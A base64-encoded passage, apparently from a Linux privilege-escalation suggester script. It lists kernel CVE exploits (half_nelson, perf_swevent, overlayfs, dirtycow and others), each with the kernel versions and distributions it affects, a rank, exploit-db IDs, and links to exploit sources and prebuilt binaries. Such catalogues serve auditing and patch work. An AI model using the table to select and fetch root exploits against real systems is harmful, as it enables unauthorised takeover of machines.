ZWwtZXhwbG9pdHMuY29tL21lZGlhL3JkcwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9yZHM2NApleHBsb2l0LWRiOiAxNTI4NQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTM4NDgsQ1ZFLTIwMTAtMzg1MCxDVkUtMjAxMC00MDczXSR7dHh0cnN0fSBoYWxmX25lbHNvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PSgxMC4wNHw5LjEwKXtrZXJuZWw6Mi42LigzMXwzMiktKDE0fDIxKS1zZXJ2ZXJ9ClJhbms6IDEKYmluLXVybDogaHR0cDovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9oYWxmLW5lbHNvbjMKZXhwbG9pdC1kYjogMTc3ODcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtOL0FdJHt0eHRyc3R9IGNhcHNfdG9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjM0LHZlcjw9Mi42LjM2LHg4NgpUYWdzOiB1YnVudHU9MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNTkxNgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gY2Fwc190b19yb290IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zNCx2ZXI8PTIuNi4zNgpUYWdzOiB1YnVudHU9MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNTk0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTQzNDddJHt0eHRyc3R9IGFtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTU3NzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zNDM3XSR7dHh0cnN0fSBwa3RjZHZkClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zNgpUYWdzOiB1YnVudHU9MTAuMDQKUmFuazogMQpleHBsb2l0LWRiOiAxNTE1MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTMwODFdJHt0eHRyc3R9IHZpZGVvNGxpbnV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMwpUYWdzOiBSSEVMPTUKUmFuazogMQpleHBsb2l0LWRiOiAxNTAyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTAwNTZdJHt0eHRyc3R9IG1lbW9kaXBwZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4wLHZlcjw9My4xLjAKVGFnczogdWJ1bnR1PSgxMC4wNHwxMS4xMCl7a2VybmVsOjMuMC4wLTEyLShnZW5lcmljfHNlcnZlcil9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdC56eDJjNC5jb20vQ1ZFLTIwMTItMDA1Ni9hYm91dC8Kc3JjLXVybDogaHR0cHM6Ly9naXQuengyYzQuY29tL0NWRS0yMDEyLTAwNTYvcGxhaW4vbWVtcG9kaXBwZXIuYwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9tZW1vZGlwcGVyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL21lbW9kaXBwZXI2NApleHBsb2l0LWRiOiAxODQxMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTAwNTYsQ1ZFLTIwMTAtMzg0OSxDVkUtMjAxMC0zODUwXSR7dHh0cnN0fSBmdWxsLW5lbHNvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PSg5LjEwfDEwLjEwKXtrZXJuZWw6Mi42LigzMXwzNSktKDE0fDE5KS0oc2VydmVyfGdlbmVyaWMpfSx1YnVudHU9MTAuMDR7a2VybmVsOjIuNi4zMi0oMjF8MjQpLXNlcnZlcn0KUmFuazogMQpzcmMtdXJsOiBodHRwOi8vdnVsbmZhY3Rvcnkub3JnL2V4cGxvaXRzL2Z1bGwtbmVsc29uLmMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvZnVsbC1uZWxzb24KYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvZnVsbC1uZWxzb242NApleHBsb2l0LWRiOiAxNTcwNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEzLTE4NThdJHt0eHRyc3R9IENMT05FX05FV1VTRVJ8Q0xPTkVfRlMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9My44LENPTkZJR19VU0VSX05TPXkKVGFnczogClJhbms6IDEKc3JjLXVybDogaHR0cDovL3N0ZWFsdGgub3BlbndhbGwubmV0L3hTcG9ydHMvY2xvd24tbmV3dXNlci5jCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sd24ubmV0L0FydGljbGVzLzU0MzI3My8KZXhwbG9pdC1kYjogMzgzOTAKYXV0aG9yOiBTZWJhc3RpYW4gS3JhaG1lcgpDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZCAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBwZXJmX3N3ZXZlbnQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkseDg2XzY0ClRhZ3M6IFJIRUw9Nix1YnVudHU9MTIuMDR7a2VybmVsOjMuMi4wLSgyM3wyOSktZ2VuZXJpY30sZmVkb3JhPTE2e2tlcm5lbDozLjEuMC03LmZjMTYueDg2XzY0fSxmZWRvcmE9MTd7a2VybmVsOjMuMy40LTUuZmMxNy54ODZfNjR9LGRlYmlhbj03e2tlcm5lbDozLjIuMC00LWFtZDY0fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9wZXJmX3N3ZXZlbnQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcGVyZl9zd2V2ZW50NjQKZXhwbG9pdC1kYjogMjYxMzEKYXV0aG9yOiBBbmRyZWEgJ3NvcmJvJyBCaXR0YXUKQ29tbWVudHM6IE5vIFNNRVAvU01BUCBieXBhc3MKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBwZXJmX3N3ZXZlbnQgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMyLHZlcjwzLjguOSx4ODZfNjQKVGFnczogdWJ1bnR1PTEyLjA0e2tlcm5lbDozLigyfDUpLjAtKDIzfDI5KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpzcmMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vZXhwbG9pdHMvdm5pa192MS5jCmV4cGxvaXQtZGI6IDMzNTg5CmF1dGhvcjogVml0YWx5ICd2bmlrJyBOaWtvbGVua28KQ29tbWVudHM6IE5vIFNNRVAvU01BUCBieXBhc3MKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0wMjY4XSR7dHh0cnN0fSBtc3IKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8My43LjYKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMjcyOTcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0xOTU5XSR7dHh0cnN0fSB1c2VybnNfcm9vdF9zcGxvaXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjwzLjguOQpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDEzLzA0LzI5LzEKZXhwbG9pdC1kYjogMjU0NTAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBzZW10ZXgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkKVGFnczogUkhFTD02ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vdGltZXRvYmxlZWQuY29tL2EtY2xvc2VyLWxvb2stYXQtYS1yZWNlbnQtcHJpdmlsZWdlLWVzY2FsYXRpb24tYnVnLWluLWxpbnV4LWN2ZS0yMDEzLTIwOTQvCmV4cGxvaXQtZGI6IDI1NDQ0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3bgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My40LjAsdmVyPD0zLjEzLjEsQ09ORklHX1g4Nl9YMzI9eQpUYWdzOiB1YnVudHU9MTMuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS90aW1lb3V0cHduNjQKZXhwbG9pdC1kYjogMzEzNDYKQ29tbWVudHM6IENPTkZJR19YODZfWDMyIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0wMDM4XSR7dHh0cnN0fSB0aW1lb3V0cHduIDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PSgxMy4wNHwxMy4xMCl7a2VybmVsOjMuKDh8MTEpLjAtKDEyfDE1fDE5KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzAzL2V4cGxvaXQtQ1ZFLTIwMTQtMDAzOC14MzItcmVjdm1tc2cta2VybmVsLXZ1bG5lcmFibGl0eS5odG1sCmV4cGxvaXQtZGI6IDMxMzQ3CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDE5Nl0ke3R4dHJzdH0gcmF3bW9kZVBUWQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMxLHZlcjw9My4xNC4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDYvZXhwbG9pdC13YWxrdGhyb3VnaC1jdmUtMjAxNC0wMTk2LXB0eS1rZXJuZWwtcmFjZS1jb25kaXRpb24uaHRtbApleHBsb2l0LWRiOiAzMzUxNgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTI4NTFdJHt0eHRyc3R9IHVzZS1hZnRlci1mcmVlIGluIHBpbmdfaW5pdF9zb2NrKCkgJHtibGRibHV9KERvUykke3R4dHJzdH0KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My4xNApUYWdzOiAKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHBzOi8vY3lzZWNsYWJzLmNvbS9wYWdlP249MDIwMTIwMTYKZXhwbG9pdC1kYjogMzI5MjYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00MDE0XSR7dHh0cnN0fSBpbm9kZV9jYXBhYmxlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTMKVGFnczogdWJ1bnR1PTEyLjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNC8wNi8xMC80CmV4cGxvaXQtZGI6IDMzODI0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDY5OV0ke3R4dHJzdH0gcHRyYWNlL3N5c3JldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjgKVGFnczogdWJ1bnR1PTEyLjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNC8wNy8wOC8xNgpleHBsb2l0LWRiOiAzNDEzNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ5NDNdJHt0eHRyc3R9IFBQUG9MMlRQICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD0zLjE1LjYKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAxMTAyMDE1CmV4cGxvaXQtZGI6IDM2MjY3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNTIwN10ke3R4dHJzdH0gZnVzZV9zdWlkClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTYuMQpUYWdzOiAKUmFuazogMQpleHBsb2l0LWRiOiAzNDkyMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTkzMjJdJHt0eHRyc3R9IEJhZElSRVQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjwzLjE3LjUseDg2XzY0ClRhZ3M6IFJIRUw8PTcsZmVkb3JhPTIwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vbGFicy5icm9taXVtLmNvbS8yMDE1LzAyLzAyL2V4cGxvaXRpbmctYmFkaXJldC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE0LTkzMjItbGludXgta2VybmVsLXByaXZpbGVnZS1lc2NhbGF0aW9uLwpzcmMtdXJsOiBodHRwOi8vc2l0ZS5waTMuY29tLnBsL2V4cC9wX2N2ZS0yMDE0LTkzMjIudGFyLmd6CmV4cGxvaXQtZGI6CmF1dGhvcjogUmFmYWwgJ24zcmdhbCcgV29qdGN6dWsgJiBBZGFtICdwaTMnIFphYnJvY2tpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzI5MF0ke3R4dHJzdH0gZXNwZml4NjRfTk1JClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLHZlcjw0LjEuNix4ODZfNjQKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wOC8wNC84CmV4cGxvaXQtZGI6IDM3NzIyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bTi9BXSR7dHh0cnN0fSBibHVldG9vdGgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI8PTIuNi4xMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDQ3NTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzI4XSR7dHh0cnN0fSBvdmVybGF5ZnMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTMuMCx2ZXI8PTMuMTkuMApUYWdzOiB1YnVudHU9KDEyLjA0fDE0LjA0KXtrZXJuZWw6My4xMy4wLSgyfDN8NHw1KSotZ2VuZXJpY30sdWJ1bnR1PSgxNC4xMHwxNS4wNCl7a2VybmVsOjMuKDEzfDE2KS4wLSotZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE1L3EyLzcxNwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9vZnNfMzIKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzY0CmV4cGxvaXQtZGI6IDM3MjkyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtODY2MF0ke3R4dHJzdH0gb3ZlcmxheWZzIChvdmxfc2V0YXR0cikKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4wLHZlcjw9NC4zLjMKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuaGFsZmRvZy5uZXQvU2VjdXJpdHkvMjAxNS9Vc2VyTmFtZXNwYWNlT3ZlcmxheWZzU2V0dWlkV3JpdGVFeGVjLwpleHBsb2l0LWRiOiAzOTIzMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6IHVidW50dT0oMTQuMDR8MTUuMTApe2tlcm5lbDo0LjIuMC0oMTh8MTl8MjB8MjF8MjIpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkxNjYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0wNzI4XSR7dHh0cnN0fSBrZXlyaW5nClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEwLHZlcjw0LjQuMQpUYWdzOgpSYW5rOiAwCmFuYWx5c2lzLXVybDogaHR0cDovL3BlcmNlcHRpb24tcG9pbnQuaW8vMjAxNi8wMS8xNC9hbmFseXNpcy1hbmQtZXhwbG9pdGF0aW9uLW9mLWEtbGludXgta2VybmVsLXZ1bG5lcmFiaWxpdHktY3ZlLTIwMTYtMDcyOC8KZXhwbG9pdC1kYjogNDAwMDMKQ29tbWVudHM6IEV4cGxvaXQgdGFrZXMgYWJvdXQgfjMwIG1pbnV0ZXMgdG8gcnVuLiBFeHBsb2l0IGlzIG5vdCByZWxpYWJsZSwgc2VlOiBodHRwczovL2N5c2VjbGFicy5jb20vYmxvZy9jdmUtMjAxNi0wNzI4LXBvYy1ub3Qtd29ya2luZwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTIzODRdJHt0eHRyc3R9IHVzYi1taWRpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuNC44ClRhZ3M6IHVidW50dT0xNC4wNCxmZWRvcmE9MjIKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8veGFpcnkuZ2l0aHViLmlvL2Jsb2cvMjAxNi9jdmUtMjAxNi0yMzg0CnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE2LTIzODQvcG9jLmMKZXhwbG9pdC1kYjogNDE5OTkKQ29tbWVudHM6IFJlcXVpcmVzIGFiaWxpdHkgdG8gcGx1ZyBpbiBhIG1hbGljaW91cyBVU0IgZGV2aWNlIGFuZCB0byBleGVjdXRlIGEgbWFsaWNpb3VzIGJpbmFyeSBhcyBhIG5vbi1wcml2aWxlZ2VkIHVzZXIKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00OTk3XSR7dHh0cnN0fSB0YXJnZXRfb2Zmc2V0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQuMCx2ZXI8PTQuNC4wLGNtZDpncmVwIC1xaSBpcF90YWJsZXMgL3Byb2MvbW9kdWxlcwpUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxLWdlbmVyaWN9ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXRsYWIuY29tL2V4cGxvaXQtZGF0YWJhc2UvZXhwbG9pdGRiLWJpbi1zcGxvaXRzLy0vcmF3L21haW4vYmluLXNwbG9pdHMvNDAwNTMuemlwCkNvbW1lbnRzOiBpcF90YWJsZXMua28gbmVlZHMgdG8gYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDQwMDQ5CmF1dGhvcjogVml0YWx5ICd2bmlrJyBOaWtvbGVua28KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00NTU3XSR7dHh0cnN0fSBkb3VibGUtZmRwdXQoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw0LjUuNSxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTgwOApzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy8zOTc3Mi56aXAKQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQpleHBsb2l0LWRiOiA0MDc1OQphdXRob3I6IEphbm4gSG9ybgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjIsdmVyPD00LjguMwpUYWdzOiBkZWJpYW49N3w4LFJIRUw9NXtrZXJuZWw6Mi42LigxOHwyNHwzMyktKn0sUkhFTD02e2tlcm5lbDoyLjYuMzItKnwzLigwfDJ8Nnw4fDEwKS4qfDIuNi4zMy45LXJ0MzF9LFJIRUw9N3trZXJuZWw6My4xMC4wLSp8NC4yLjAtMC4yMS5lbDd9LHVidW50dT0xNi4wNHwxNC4wNHwxMi4wNApSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDYxMQphdXRob3I6IFBoaWwgT2VzdGVyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNTE5NV0ke3R4dHJzdH0gZGlydHljb3cgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV8Nnw3LHVidW50dT0xNC4wNHwxMi4wNCx1YnVudHU9MTAuMDR7a2VybmVsOjIuNi4zMi0yMS1nZW5lcmljfSx1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxLWdlbmVyaWN9ClJhbms6IDQKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZGlydHljb3cvZGlydHljb3cuZ2l0aHViLmlvL3dpa2kvVnVsbmVyYWJpbGl0eURldGFpbHMKZXh0LXVybDogaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZG93bmxvYWQvNDA4NDcKQ29tbWVudHM6IEZvciBSSEVML0NlbnRPUyBzZWUgZXhhY3QgdnVsbmVyYWJsZSB2ZXJzaW9